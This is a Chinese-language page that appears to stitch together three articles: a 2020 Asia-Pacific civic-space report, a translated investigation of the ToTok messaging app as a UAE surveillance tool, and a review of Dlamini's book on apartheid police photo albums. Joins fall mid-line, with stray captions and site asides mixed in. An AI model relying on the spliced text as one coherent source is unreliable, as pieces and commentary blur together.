拉丁美洲仍然是世界上对记者来说最糟糕的地区，20名记者在有针对性的袭击中丧生，仅墨西哥就有10人被这样谋杀。

武装冲突和内乱夺去了14名记者的生命。其中7人在叙利亚遇害，3人分别在阿富汗、乍得和也门报道武装冲突时遇害。

两名记者在伊拉克报道内乱时丧生。遗憾的是，对定点清除事件的调查仍然缓慢和不足。

自1997年以来，新闻学会的“死亡观察”统计了因其职业而被蓄意针对的记者以及在报道冲突或执行任务时丧生的记者。

以下是 findings2020 组织的亚太地区报告。

去年，菲律宾因其基本自由的下降而被降级。在COVID-19大流行期间，最大的媒体网络 ABS-CBN 被迫停播，剥夺了人们的关键信息，从而使对媒体自由的持续攻击升级。

2020年6月，著名记者 Maria Ressa 因莫须有的“网络诽谤”而被定罪，这在记者中产生了寒蝉效应。

参议员莱拉·德利马是总统罗德里戈·杜特尔特的著名批评者，因捏造的罪名被拘留了三年多。

Zara Alvarez 和 Randall Echanis 等人权维护者遭到攻击和杀害，却没有人因此受到惩罚。

其他人，如人权捍卫者 Teresita Naul，则因其工作而被定罪、或遭

受“红牌”—— 一种将个人和团体贴上共产主义者或恐怖分子标签的做法。

2020年7月该国通过的一项新的反恐法律包括一个广泛的恐怖主义定义，赋予执法者详尽的权力，但几乎没有提供任何防止滥用的保障措施，使其容易被那些试图压制不同意见的人所利用。

用来镇压异议的法律

「图」

对人权维护者、记者和批评者使用限制性法律，是报告期内亚洲和太平洋地区记录到的最常见的侵犯公民空间行为，至少有26个国家发生了这种情况。最常被使用的立法包括与所谓的国家安全、公共秩序和刑事诽谤有关的法律。至少在16个国家，人权维护者被起诉。

在中国封闭的公民空间中，数十名活动家、律师和批评家被拘留，罪名是基于模糊和过于宽泛的法律，从“颠覆国家权力”到“寻衅滋事”。

中国也升级了对香港的打压。2020年6月，香港被实施了一项新的严厉的国家安全法，该法被用来压制自由言论，包括针对海外活动。当局继续逮捕和起诉民主活动人士。

在越南，根据一系列限制性法律，数十名活动人士在所谓的“滥用民主自由”和“反国家宣传”的罪名下，包括博主和 Facebook 用户在内的活动人士在经过简易审判后被逮捕或监禁。

在柬埔寨，首相洪森的政府利用“煽动”法起诉了数十名政治批评者，包括土地和环境人权维护者、工会会员、记者、青年活动家和音乐家，使镇压升级。

在这场大流行中，柬埔寨通过了一项紧急状态法，赋予行政部门广泛的权力。印度尼西亚继续以“叛乱”为由将西巴布亚活动家定罪。

一些国家经常继续使用刑事诽谤法来压制不同意见。在孟加拉，《数字安全法》是当局用来追捕批评者的首选武器，包括那些对政府处理大流行病如何不当的批评者。

媒体工作者、活动家、学者和学生都成为目标，包括著名记者 Shafiqul Islam Kajol，他在被强迫失踪53天后于2020年5月被起诉。

在马来西亚，《通信和多媒体法》被用来起诉网上对宗教和君主制的批评，以及传播COVID-19的所谓错误信息，而在缅甸，批评军方的人，被根据《电信法》和刑法，被以诽谤罪定罪和监禁。在印度、巴基斯坦、泰国和新加坡，限制性法律也经常被用来对付民间社会。

在太平洋地区，至少有七个国家通过或使用了限制性法律。澳大利亚正在利用其《情报服务法》起诉一名披露2004年东帝汶政府大楼被窃听事件的吹哨人。在斐济，2014年《公共秩序法(修正案)》被用来压制和起诉批评者，包括工会领导人 Felix Anthony。

对新闻记者和评论的审查

「图」

对媒体机构、记者、民间社会和批评者的审查是该地区记录在案的另一种严重侵权行为，至少在24个国家发生。

中国拥有广泛的审查制度，利用这一制度封锁外国网站，掩盖其在新疆和西藏的迫害行为，并针对国外的批评者。当局还审查了记者、医生、活动家、学者和批评者关于COVID-19的文章和社交媒体帖子。

在孟加拉国，当局继续封锁许多批评政府的新闻网站，包括调查性新闻网站 Netra News。

在巴基斯坦，当局试图压制黎明媒体集团和张氏媒体集团等媒体机构的批评性报道，并封锁在线内容。

在泰国，当局利用为处理疫情而通过的紧急法令，转而针对报道2020年10月民主抗议活动的媒体机构。

太平洋地区至少有6个国家出现了审查制度。2020年8月，斐济总理弗兰克·白尼玛拉玛下令斐济广播公司停止播放一场辩论。在瓦努阿图，未经政府授权，媒体机构不得对COVID-19发表任何文章。

骚扰活动家和记者

「图」

据报道，至少有22个国家的活动家和记者在网上和线下受到骚扰。

在中国，政府继续对人权维护者进行恐吓和骚扰，突袭他们的住所和

办公室，并将他们的家人置于警察的监视之下。共产党政府还以COVID-19为借口，扩大其监视制度。

越南的一党政权继续骚扰那些批评它的人，包括活动家和博客作者。许多人受到监视或被拘留数月，无法获得法律顾问，并受到虐待性审讯。

在印度尼西亚，活动家和批评家，特别是那些对西巴布亚的严重侵权行为大声疾呼的人，受到了数字攻击、诽谤运动和监视。

马来西亚当局骚扰活动家和记者，以及半岛电视台和Malaysiakini.com 新闻机构，因为他们发布了批评性报道。

新加坡利用其《防止网上虚假和操纵法》—— 一项关于错误信息的广泛立法—— 来骚扰网上批评者。

在斯里兰卡，人权律师和记者在2020年8月选举前面临骚扰和逮捕。寻求追究内战期间所犯罪行责任的活动家和幸存者家属受到恐吓和监视。

巴基斯坦的女记者面临着政府官员和其支持者对她们进行的基于性别的网络骚扰运动，而普什图族活动家继续成为目标。

在马尔代夫，政府强迫一个主要的民间社会组织关闭并没收其资金，而在孟加拉国，记者面临执政党的骚扰和人身攻击。

在阿富汗、印度、印度尼西亚、尼泊尔、巴基斯坦和斯里兰卡，记者也因报道而受到攻击。

抗议活动被镇压

「图」

尽管面临风险和限制，但抗议者继续在整个区域内为自己的权利挺身而出。在20个国家，抗议活动受到干扰，其中15个国家的抗议者被逮捕。

在几乎所有镇压部队对抗议者过度使用武力的情况下，没有人被追究暴力责任。

在香港，支持民主的抗议领袖继续被根据《公共秩序条例》被逮捕和起诉。活动人士也因参加天安门广场大屠杀周年守夜活动而被成为目

标，其中包括活动人士黄之锋。

在缅甸，数十名抗议者因在若开邦和钦邦抗议土地掠夺、开发项目和互联网关闭，而被根据《和平集会与和平游行法》被起诉。

在印尼，2020年10月，数百人因大规模抗议一项将削弱工人保护和取消环境保障措施的综合法律而被捕；在泰国，当局升级了对青年领导的和平民主抗议活动的镇压，2020年10月至少有90人被捕。

泰国当局还从物理上封锁了抗议地点的通道，并关闭了交通网络。在一些国家，包括孟加拉、柬埔寨、中国、印度、印度尼西亚、巴基斯坦和泰国，警察对和平抗议者过度使用武力。

在太平洋地区，尽管气候变化主要表现为火灾和洪水，但澳大利亚的环境和气候行动抗议者却遭到诽谤和逮捕。

- 《镇压部队最常用哪些武器对付抗议者？- 概览》
- 《如何说服人们参加抗议活动》

关注国家：印度

「图」

印度的公民空间在2019年被降级为压制，继续倒退。

印度总理纳伦德拉·莫迪的政府继续迫害人权维护者、学生领袖、记者和参与抗议歧视性《公民法（修正案）》的人士。

各种限制性法律，包括《非法活动(防止)法》等所谓的国家安全和反恐立法，被用来长期拘留 Sudha Bharadwaj 等活动家。许多被监禁的人在过度拥挤和不卫生的监狱中面临感染COVID-19的风险。

《外国捐款管理法》被用来针对直言不讳的团体，而当局则继续在印度治下的查谟和克什米尔地区实行严厉的歧视性限制。

- 关于印度《少说话，多办事 …… 当坏蛋手持宪法》

积极的发展

「图」

在基本自由面临严重挑战的一年，公民社会监测组织仍然记录到了一

些积极的公民空间发展，这证明了那些为之奋斗的人的承诺。

在阿富汗，2020年1月，当局公开承诺建立一个保护人权维护者的机制，而巴布亚新几内亚在2020年2月通过了一项吹哨人法。

在泰国，法院驳回了因揭露侵犯劳工权利行为而对人权维护者提起的诽谤案。

在印度尼西亚，一家法院于2020年6月裁定，政府在2019年西巴布亚地区数周抗议活动期间实施互联网封锁的决定违反了法律。

人权团体在将缅甸以违反《灭绝种族罪公约》为由提交国际法院方面发挥了关键作用。

2020年6月，台湾举办了全世界为数不多的骄傲游行，LGBTQI＋社区走上街头，明确地维护了自己的权利。〇

上图中这本书在这里下载：https://www.patreon.com/posts/hou-guan-zhuang-42986263

WPFD 2020: COVID-19 accelerating a global decline in media freedom

ASIA—PACIFIC

原文

一个受欢迎的聊天应用程序实际上是一个隐秘的间谍工具 - iYouPort

政府的间谍行为维稳面面观

比中国的 “学习强国” 还厉害…… NSO 那种间谍要失业了

「图」

「图」

这是一款很受欢迎的通讯应用程序，已经下载到数百万部手机中，然而，它是数字军备竞赛的最新升级。

它被认为是与朋友和家人通过视频或短信进行聊天的一种 “简单，安全” 的方式，即使在一个已经限制了诸如 WhatsApp 和 Skype 之类的流行消息服务的国家中也是如此。

但据熟悉机密情报评估的美国官员和纽约时报对该应用程序及其开发人员进行的调查显示，ToTok 实际上是一种间谍工具。

⚠ 阿联酋政府使用它来尝试跟踪将其安装在手机上的所有人的每一次对话、行动、关系、约会、声音和图像。

仅仅推出了几个月的ToTok，已经在中东、欧洲、亚洲、非洲和北美的用户从 Appl e和 Google 应用商店下载了数百万次。

根据应用排名和研究公司 App Annie 的数据，虽然 ToTok 的大部分用户都在阿联酋，但近期却迅速成为美国下载量最大的社交应用之一。

ToTok 相当于富裕的威权政府之间的数字军备竞赛的最新升级。

当下，各国政府正在寻求更有效、更便捷的方法来监视外国竞争对手、犯罪和恐怖主义网络、新闻记者和政治批评家，而这些努力已使全世界人民陷入了他们的监视网络。

诸如沙特、阿联酋和卡塔尔之类的国家以前曾求助于包括以色列和美国承包商在内的私人公司，以攻击竞争对手，并越来越多地攻击其本国公民。

⚠专家表示，ToTok 的发展表明，政府可以绕过中介机构，直接监视其目标 —— 让人们可以在不知不觉中自愿交出自己的致命信息。

一项技术分析和对计算机安全专家的采访表明，Breej Holding 是 ToTok 背后的公司，很可能是隶属于 **DarkMatter** 的领先间谍公司 —— **DarkMatter** 是阿布扎比的网络情报和黑客技术公司，阿联酋情报官员、前美国国家安全局雇员和前以色列军事情报特工为其工作。

- 关于 DarkMatter 《雄厚的财力，深藏不露：美国间谍如何协助专制国家构建一个间谍帝国》
- 《一个新的战争时代：互联网雇佣军如何为威权政府而战》
- DarkMatter 甚至要成为 Mozilla 根证书计划的顶级证书颁发机构《网络战雇佣兵团体不应该在您的浏览器或其他任何地方受信任》

美国情报评估和技术分析还将 ToTok 与 Pax AI 相联系，Pax AI 是一家总部位于阿布扎比的数据挖掘公司，似乎与 DarkMatter 相关。

Pax AI 的总部与阿联酋的信号情报机构位于阿布扎比的同一建筑物内，而该机构直到最近已经成为 DarkMatter 的总部。

阿联酋是美国在中东最亲密的盟友之一，被特朗普政府视为抵制伊朗的堡垒。

阿联酋一直走在使用监视技术来镇压内部异议的最前沿，包括黑客入侵西方记者、清空评论家的银行账户、以及逮捕人权活动家。

该国政府封锁了 WhatsApp 和 Skype 等应用程序，这一事实使 ToTok 在该国特别有吸引力。⚠ 中国电信巨头华为"最近在广告中宣传了 ToTok"。

中央情报局发言人和阿联酋政府拒绝置评。拨打 Breej Holding 的电话号码无人接听，Pax 员工未回复电子邮件和消息。FBI 发言人说：“不会对特定应用发表评论。”

时报最初与 Apple 和 Google 代表联系时，对 ToTok 与阿联酋政府的关系有疑问，他们表示将进行调查。Google 确定 ToTok 违反了政策后将其从 Play 商店中删除。

但是，已下载该应用程序的 ToTok 用户仍然可以使用它，直到他们主动将其从手机中删除为止。

目前尚不清楚美国情报部门何时首次确定 ToTok 是阿联酋情报工具，但一位知情人士说，美国官员已警告一些盟国有关其危险性的信息。

也不清楚美国官员是否就该应用程序与阿联酋政府中的官员进行了交流。一位不愿透露姓名的中东数字安全专家在讨论强大的黑客工具时说，阿联酋高级官员告诉他，ToTok 确实是一款用于跟踪其在阿联酋及其他地区用户的应用程序。

根据前国家安全局黑客、私人安全研究员 Patrick Wardle 的取证分析，ToTok 似乎相对容易开发。它似乎是提供免费视频通话的中文消息传递应用程序 **YeeCall** 的副本，除了针对英语和阿拉伯语受众量身定制的部分之外。（2017年中国的 YeeCall 获得了 1200 万美元的融资，想做 “一带一路” 通讯基础设施）

根据技术分析和访谈，**ToTok** 是一款设计精巧的大规模监视工具，其功能非常类似于跟踪用户位置和联系人的其他众多 **Apple** 和 **Android** 应用程序。

从表面上看，ToTok 通过提供准确的天气预报来跟踪用户的位置。每当用户打开该应用程序时，它就会以其 “帮助与朋友联系” 的方式来寻找新联系人，就像 Instagram 标记 Facebook 朋友那样。

⚠ 它可以访问用户的麦克风、相机、日历和其他电话数据。

尽管被称为 “快速、安全”，但 ToTok 并未声称要使用端到端加密。该应用程序泄露用户数据的唯一提示被埋在复杂的隐私政策中：“我们可能会与集团公司共享您的个人数据。”

「图」

「图」

ToTok on the App Store before it was removed on Friday. Apple was still researching the app, a spokesman said.

⚠ 显然，ToTok 为阿联酋政府提供了一种免费的监控数百万用户的方法，并不需要向黑客付费以获取目标手机的访问权 —— 那些可以远程访问 Android 手机的黑客工具价格高达250万美元 —— 而现在，

ToTok 能让人们自愿提供最私密的信息。

现在，软件公司 Jamf 的安全研究员 Wardle 先生说：“如果你可以使人们心甘情愿地将此应用程序下载到他们的手机上，则完全无需骇客就可以监视他们。不断地上传联系人、视频聊天、位置 …… 您还需要什么情报呢？”

- 说的没错，而且中国已经做到了哦。见《学习”强国”的后门—扫描你的手机、运行任意命令》

Wardle 先生说，在情报收集行动中，ToTok 将进入第一阶段。就像美国国家安全局的大数据收集计划那样，ToTok 允许情报分析师分析用户的电话和联系方式以进行搜索模式，尽管其收集更具侵入性。目前尚不清楚 ToTok 是否允许 Emiratis 录制其用户的视频或音频呼叫。

每天，数十亿人自愿放弃自己的人权，以 “方便” 在手机上使用应用程序。 时报舆论部分的 “隐私项目” 发表了一项调查，揭示了应用程序制造商和第三方如何实时地跟踪手机用户的移动情况。

私人公司收集了这些数据用于有针对性的营销；在 ToTok 的案例中，许多信息都流向了代表阿联酋政府工作的情报分析师。

近几个月来，半官方国家出版物开始推广 ToTok；而在阿联酋需要付费订阅的消息传递服务 Botim 的用户则收到警报，被通知要切换到 ToTok，被称为 “免费、快速、安全” 的消息传递应用程序。消息的旁边是安装它的链接。

营销似乎已经获得了回报。

ToTok的受欢迎程度已超出阿联酋航空。根据最近的 Google Play 排名，它是沙特、英国、印度、瑞典和其他国家/地区排名前50位的免费应用程序之一。

「图」

「图」

The offices of DarkMatter in Abu Dhabi. Technical analysis and interviews showed that the firm behind ToTok, Breej Holding, is most likely a front company affiliated with DarkMatter.Credit…Jon Gambrell/Associated Press

尽管该应用程序是阿联酋政府的监视工具，但其背后的公司之间的确切关系却模糊不清。

⚠**Pax** 的员工由来自欧洲、亚洲和阿联酋的数据科学家组成，该公司由爱尔兰数据科学家 **Andrew Jackson** 经营，该人此前曾在硅谷公司 **Palantir** 工作，该公司与五角大楼和美国间谍机构合作。

其附属公司 **DarkMatter** 实际上是阿联酋政府的分支机构。它的行动包括入侵伊朗、卡塔尔和土耳其的政府部门、**FIFA**的高管、记者和持不同政见者。

去年，阿联酋政府宣布，DarkMatter 将与另外两家公司合并，创建一个专注于抵制网络攻击的国防集团。

一位将自己的头衔列为 “数据科学团队负责人” 的人在 LinkedIn 上写道，他创建了一个 “消息情报平台”，该平台可以读取数十亿条消息，回答四个问题：“你是谁，做什么，怎么想，以及你和其他人是什么关系。”

⚠这四个问题能揭示一个人的一切。

Pax 的其他员工也介绍了他们创建这类工具的经验，这些工具可以从数十亿个视频源中搜索政府数据集中收集的人脸，并从转录的视频消息中查找阿拉伯语方言。

但这些人都没有提到与 ToTok 的从属关系。○

It Seemed Like a Popular Chat App. It’s Secretly a Spy Tool.

原文

一本新书，揭开维稳警察的秘密罪行 - iyouport

免费书和纪录片维稳面面观

如果没有揭露，罪恶将永远持续

这本书的出版在当下时代格外重要 —— 书中揭露的秘密警察暗杀反抗者、将异议人士定为 “恐怖分子” 以施加 “合法” 迫害、监禁和致死、绑架、爆炸、跨境袭击，酷刑逼迫被捕的活动家为秘密警察做线人监视甚至杀害自己的亲人 …… 这些罪行直到今天依然在全世界各种国家存在着。

结束这些罪行唯一的方法就是彻底曝光它们。邪恶惧怕阳光，真相是结束暴政的最强有力的工具。

您的国家有迫害政治异议的事件吗？您的身边有被迫成为当局线人的 “队友” 吗？您所在的地方有维稳警察吗？反抗者会被列入 “重点维稳对象” 名册吗？…… 您知道该怎么做了？

这是一本非常出色的书，您可以在这里下载它：https://www.patreon.com/posts/wei-wen-jing-cha-51058899Fayedwa, whose mugshot was published in the pages of *The State* in 1912.

1964年，鲁思·弗斯特逃离了种族隔离的南非。作为一名政治活动家，她在监狱里度过了此前一年的大部分时间。这是对异议人士进行大规模镇压的一部分。

她是被根据严厉的新《九十天拘留法》被关押的第一位白人妇女。在英国流亡一段时间后，弗斯特于1970年代末搬到莫桑比克，在马普托的蒙德拉内大学担任教职。在这期间，她一直参与反种族隔离事业，尽管她从未像她的丈夫乔·斯洛沃那样拿起武器，乔当时是非洲人国民大会（ANC）军事部门的参谋长。

然而，在南非维稳部队的眼中，弗斯特是一个恐怖分子。1982年8月17日，他们向弗斯特的大学发送了一个包裹炸弹。她从自己的小房间

里取回包裹，在办公室里把它割开 …… 当场死亡。在爆炸中幸存下来的学者布里奇特·奥劳克林（Bridget O’Laughlin）多年后回忆说：“她一动不动，躺在那里。她穿着她的红色西装外套、白色裙子和她最喜欢的意大利鞋”。爆炸将房间的一面墙完全炸毁。

对弗斯特的谋杀是由驻比勒陀利亚的南非警察（SAP）少校克雷格·威廉姆森（Craig Williamson）安排的。十多年后，1998年9月，他在真相与和解委员会（TRC）—— 一个为揭露种族隔离制度下侵犯人权行为而设立的类似法庭的机构 —— 举行的大赦听证会上作证说，他是奉其直接上司皮特·古森准将的命令行事的。“鲁思·弗斯特在情报界被称为鲁思·斯洛沃”，威廉姆森说，“她的照片也以这个名字出现在《恐怖分子名册》中。” 威廉姆森后来向历史学家雅各布·德拉米尼解释说，这位**57**岁的大学教授出现在这份档案中，意味着她是 “被瞄准的靶子”。

恐怖分子名册是种族隔离维稳警察对其认为是所谓的国家敌人的人的照片汇编；他们在1960年代开始收集数以千计的这些黑白照片。小说家（贝西·海德）和训练有素的战斗人员（克里斯·哈尼）、记者（埃里克·亚伯拉罕）和学者（鲁思·弗斯特）都进入了这些名册的页面：完全不同的人因为反对政权而被联系起来。

一旦被确定为 “恐怖分子”，他们的照片就会按种族隔离制度的种族分类等因素被编入索引，并被放在一本12 x 9英寸的书中，其副本在维稳警察的走廊里秘密传阅。

德拉米尼在他的新书《恐怖分子名册》中指出：“直到20世纪90年代初种族隔离制度结束时，该名册一直在制作中。那些照片一直在被增加和减少，因为种族隔离的反对者不断被逮捕和杀害”。

1966年，联合国大会将种族隔离称为反人类罪；七年后，联合国大会通过了《种族隔离公约》，谴责南非政府 “因……种族隔离的政策和做法而造成的不人道行为”。

虽然这是对该政权丑陋的公众形象的谴责，但人们对其维稳机构的隐性恐怖统治关注依旧很少：它诉诸于绑架、爆炸、跨境袭击（在博茨瓦纳、纳米比亚、安哥拉和其他地方）、以及行刑队。在接下来的20年里，这些事件基本上都没有被曝光—— 比如说，与智利独裁政权的暴行不同，这些暴行导致奥古斯托·皮诺切特在1998年被捕。最后一位种族隔离总统**F·W**·德克勒克在**1993**年甚至与纳尔逊·曼德拉分享了诺贝尔和平奖。

1992年，随着立法规定的白人少数统治时代进入其衰落的最后阶段，种族隔离的官僚们开始了一个大规模的项目，抹掉了所有与严重侵犯人权有关的行动记录。人们想起了政治学家 Achille Mbembe 的论点，即：销毁档案相当于“否认债务”。

来自高层的命令被口口相传地传到了指挥系统；在八个月内，仅国家情报局总部就在约翰内斯堡和比勒陀利亚的工业炉中焚烧了44吨纸质和微缩胶片记录。

但是，这些指示并没有得到严格的遵守。在当时流通的大约五百份《恐怖分子名册》中，有三份在德拉米尼描述的“毁灭狂欢”中幸存下来了。

恐怖分子名册在种族隔离的恐怖制度中发挥了重要作用，帮助确定谁应该被国家绑架、折磨和杀害。

然而，在研究当代南非历史的学者中，它仍然是一个被忽视的对象。德拉米尼写道，它值得我们关注，“因为它像其他任何种族隔离时期的遗物一样，说明了南非维稳警察记录每一个已知的国家敌人的野心。”

德拉米尼令人信服的研究记录了纠缠在一起的政治和维稳历史，在这些历史中，这些名册“作为国家权力和监视的工具出现”。恐怖分子名册这本书使今天的人们能够重新审视标志着种族隔离政策的残暴和官僚主义。Jacob Dlamini, Pass photo, 1991

雅各布·德拉米尼出生于1973年，在约翰内斯堡东南的一个黑人乡镇卡塔翁长大。作为一名历史学家，他一直对困扰人们讲述南非专制历史的故事感兴趣。他的第一本书《乡愁》（2009）探讨了记忆的政治地位。德拉米尼根据70年代和80年代对卡塔翁的记忆，询问像他这样的人对自己的童年和青少年时期的深情记忆可能意味着什么。书中初步形成的论点是，南非的黑人生活不仅仅是国家压迫。种族隔离制度可能无处不在，但它并不是一切。仍然有音乐、艺术、文学和邻居之间的“互惠纽带”，使人们有可能“想象一个没有种族隔离的世界”。

德拉米尼在他广受赞誉的后续作品《阿斯卡利：反种族隔离斗争中的合作与背叛的故事》（2015）中谈到了一个不太亲密的话题。该书讲述了白人少数民族政权的行刑队，其工作人员由政府警察和阿斯卡里人组成：这些原本是反种族隔离的反抗者，被通过酷刑逼迫而变节或自愿改换阵营。1993年，在国家的工资单上总共有大约一百名阿斯卡利人。德拉米尼描述了这样一个人物的生活：格洛里·莱福希勒·塞迪

贝（Glory Lefoshile Sedibe），他是一名高级前战斗人员，1986年从斯威士兰的一个安全屋中被绑架后加入了国家的镇压反叛运动。在他40岁去世时，塞迪贝已经帮助国家暗杀和绑架了他自己的多名前战友。

《阿斯卡利》的写作是为了回应人们对种族隔离制度的合作者缺乏的了解；大多数阿斯卡利人的身份在维稳警察行动档案被工业级规模的纵火中丢失。在这个意义上，它是一本调查性的书。然而，德拉米尼的研究也提出了关于南非政治解决的性质的更深层次的、令人不安的问题。通过谈论种族隔离制度下的合作，德拉米尼让人们注意到真相与和解委员会未完成的工作 —— 它没有揭开他所说的那些 “被与我们的专制历史合作所玷污” 的东西。德拉米尼认为，这种失败的腐蚀作用是，公共领域仍然被谎言所污染。

少数与当权者合作过的人，如已故小说家马克·贝尔，主动坦白了自己的身份。但其余的人都顺利地融入了新秩序，有些人甚至进入了高级职位。

为了强调他的观点，德拉米尼提到了彼得·莫卡巴（1959–2002），他是著名的非国大青年领袖，曾在罗本岛被监禁过一段时间，他也曾作为间谍为政权工作过 —— 这一点却不那么有名。在具有里程碑意义的1994年选举后，莫卡巴被任命为纳尔逊·曼德拉第一届内阁的副部长。2012年，雅各布·祖马总统追授他银质的 Luthuli 勋章，以表彰他 “在反对种族隔离的民族解放斗争中的英勇贡献”。今天，莫卡巴在波洛克瓦内有一个以他的名字命名的可容纳46,000人的足球和橄榄球体育场。

在《恐怖分子名册》中，德拉米尼继续探索烧焦的 “种族隔离维稳档案的残余物”。但这是一个在规模和范围上更加雄心勃勃的项目。

在《乡愁》和《阿斯卡利》中，主要评估了20世纪后半叶南非的各种发展，而《恐怖分子名册》则将时间拉得更远，延伸到了19世纪。德拉米尼告诉人们，被称为《恐怖分子名册》的东西，并没有完全形成于这个世界。在它作为 “国家权力和监视工具” 出现的过程中，有几段历史被纠缠在一起了。在追溯这份名册的起源时，德拉米尼记录了南非殖民时期的早期摄影史，从德国人类学家古斯塔夫·弗里奇（Gustav Fritsch）在19世纪50年代末拍摄的被囚禁在罗本岛的科萨族领导人的照片，到警察逐渐系统性地采用的脸部照片。

德拉米尼指出，早在二十世纪初，南非警方就开始将摄影纳入其刑事调查。1912年，一个名叫 Fayedwa 的骗子在一份名为《国家》的杂

志上率先在全国范围内传播了他的脸部照片。这篇文章本身的标题是“追踪罪犯”，它强调了指纹识别对警察工作的重要性。然后，在1913年各省警察部队合并后不久，中央鉴定局的历任局长就开始游说政府提供资金，以“每月或定期发布罪犯—— 专业伪造者、盗窃者、诈骗者等的机密照片通告”。到1920年代中期，一份载有数千张通缉犯照片的公报被分发到全国各地的警察局。

《警察公报》和《恐怖分子名册》之前的类似通告将罪犯确定为种族类型。总的来说，非洲人被认为是不值得信任的。德拉米尼写道，这些小罪犯“代表了一种人类（本地人），其狡猾在政治上是无害的，即使它需要国家的持续关注”。

当南非国民党（NP）在1948年上台并迎来种族隔离制度时，情况发生了变化。尽管南非沉浸在几个世纪的制度化种族主义中，但种族隔离也许是其最丑陋的表现。它的一系列镇压性法律旨在创造一个白人乌托邦，让原住民只是“砍柴的人和汲水的人”。

国民党迅速采取行动，将政治异议定为犯罪；在一两年内，它通过了“反叛国”的立法，并禁止了南非共产党。这时，所谓的“恐怖主义”的语言进入了国家的词汇表。但是，德拉米尼认为，正是在**1952**年收紧了旨在限制黑人公民流动的、受到普遍唾弃的通行法，导致了“南非政治和警务历史上最大的转折点”。Novelist Bessie Head.

1960年3月21日，SAP向聚集在沙佩维尔警察局外的一群抗议者开火。抗议者聚集在一起，没有带通行证，俗称“dompas”，当警察开始射击时，他们就站在那里，准备被捕。

69人被杀，数百人受伤。这就是著名的沙佩维尔大屠杀。

沙佩维尔大屠杀导致组织抗议活动的非国大和泛非主义者大会（PAC）被禁止。德拉米尼写道：“这项禁令以及对大约两千人的拘留，迫使成千上万的南非人流亡”。更重要的是，该禁令导致非国大和**PAC**将暴力作为一种斗争形式。 1961年，非国大成立了它的军事部门，Umkhonto we Sizwe。

为了打击这种新生的反叛，国家极大地增加了警察的权力。新的镇压和防暴培训方法与立法同时出台，其中包括允许警察不经审判而监禁嫌疑人长达九十天。国家还在1967年通过了所谓的《恐怖主义法》，根据德拉米尼的说法，该法“对所谓的恐怖主义作出了如此笼统的定义，以至于任何质疑现状的异议行为都可以被认为是恐怖主义行为。”

正是在这一动荡的国内时期，《恐怖分子名册》作为一种国家权力和监视的工具出现了。从官方角度讲，这本名册只是为了记录那些未经政府许可离开南非的人。但是，随着维稳警察对政治上活跃的流亡者所构成的所谓威胁越来越着迷，它已经超出了它的目的。

对非国大和PAC的取缔将解放运动推向了地下，它们随后在国外建立了行动机构。重要的是，非国大和PAC转向暴力的同时，当时席卷整个非洲大陆的独立斗争浪潮也在悄然兴起。

“种族隔离政府将其视为一个重大的[生存]威胁，有必要改变重点，从寻找国内的敌人转到寻找国外的敌人”，德拉米尼写道。

Abram Tiro（在博茨瓦纳的哈博罗内）和 Adolphus Boy Mvemve（在赞比亚的卢萨卡）是**1974**年第一批被国家杀害的南非流亡者。

两人都是被邮报炸弹暗杀的。

他们当然是最后一个。

为了更清楚地了解这份名册 “在世界上的表现”，德拉米尼借鉴了线人报告、真相与和解委员会的档案、警方的机密信件和备忘录、以及照片。他还与退休的种族隔离特工交谈，他承认，他们的话是不可信的。

一个典型的例子是雅克·比希纳（Jac Büchner）—— 一位在真相与和解委员会作证说自己是一个 “合理的或好的审讯者” 的退役二星将军 —— 他在这里把这份名册的重要性淡化为 “不过是一个辅助备忘录，一个警察用来监控逃犯的简单工具”。然而，德拉米尼的书表明，这些名册是该政权对其政治反对派的攻势的重要组成部分。被维稳警察定为恐怖分子的人 “生活在死亡的阴影中”。这意味着你可能在某个星期二下午死于炸弹爆炸，穿着你最喜欢的意大利鞋。

小说家贝西·海德（Bessie Head）也在这份 “恐怖分子名册” 中的出现，强调了德拉米尼关于种族隔离暴力的任意性的更大论点。

海德当时是一名记者，在沙佩维尔大屠杀发生后不久就被警方拘留。德拉米尼写道：“维稳警察强迫海德做线人，监视**PAC**中的朋友并向警方通风报信。她精神崩溃并试图自杀”。

海德随后于1964年持 “出境许可证” 离开该国前往博茨瓦纳：这份文件给予她离开南非的合法权利，条件是她签署了剥夺她的公民身份并

同意永远不回来的同意书。然而，维稳警察仍然将她的照片列入了恐怖分子名册。为什么？德拉米尼写道，我们可以寻找合乎逻辑的动机，但简单的答案是，国家给海德贴上恐怖分子的标签，没有比他们的权力可以做到这点更好的理由了。

《恐怖分子名册》追踪了南非警务工作的演变：它如何在反抗者对抗国家政治非法性的绝望中变得越来越堕落。

这里深入讲述了奥迪里尔·迈沙克·马波尼亚（Odirile Meshack Maponya）的故事，揭示了警察部队演变成了何等粗暴的野兽。

作为一名活动家和受欢迎的教师，马波尼亚在1977年加入非国大的军事部门后，他的照片被放入了恐怖分子名册。1988年4月15日，马波尼亚（Mainstay Chibuku）在比勒陀利亚的一家白人专用电影院被炸死。

维稳警察多年来一直在追捕奥迪里尔，认为他是谋杀一名执法官员的嫌疑人，他们没收了他被肢解的尸体，并将他的遗体埋在一个贫民窟里。德拉米尼写道："警察在追捕[奥迪里尔]马波尼亚的过程中留下了破坏的痕迹"：

他们把他的父亲约瑟夫·马波尼亚变成了受雇监视其家人的线人，在***1985***年杀害了他的兄弟贾皮·马波尼亚，在***1988***年杀害了他的非国大同事斯坦扎·波帕普***[***并把他的尸体扔在一条鳄鱼出没的河里***]***，并逮捕和折磨了他的兄弟伊图梅伦和表兄蒂罗·图马内。

德拉米尼的书将真相从种族隔离制度的维稳档案残余中抢救出来，揭示了无数这样的国家暴力事件，这些事件直到现在还被隐藏着。

它所揭示的人类损失是痛苦的，但故事也有希望的一面。南非白人少数民族政权的守护者可能会在种族纯洁性的祭坛上顶礼膜拜，但反对种族隔离的斗争是由各种有意识的政治人物组成的。《恐怖分子名册》体现了这种矛盾。德拉米尼指出，按照种族划分，由维稳警察编制的数千张照片中，有黑人、棕色人种、白人以及介于两者之间的人。这本名册为人们提供了一幅 "南非的世界性和民主愿景" 的画像：这正是编纂名册的人所反对的东西。

在开普敦以南7分钟车程的地方，有一段以伊玛目阿卜杜拉·哈龙命名的道路，他是一位四十五岁的穆斯林教士和反种族隔离活动家。1969年，这位伊玛目被根据所谓的《恐怖主义法》被拘留，并多次遭受酷刑。四个月后，他在警方的拘留中死亡。为了掩盖他的死亡，维稳警

察说他是从楼梯上摔下来的。这样的死亡以及随之而来的谎言是如此地普遍，以至于为作家克里斯·范·维克提供了南非阅读量最大的诗歌之一的原材料：“在拘留中” 开头就是这样写的：

他从九楼摔了下来

他上吊自杀了

他在洗澡时被一块肥皂滑倒了…

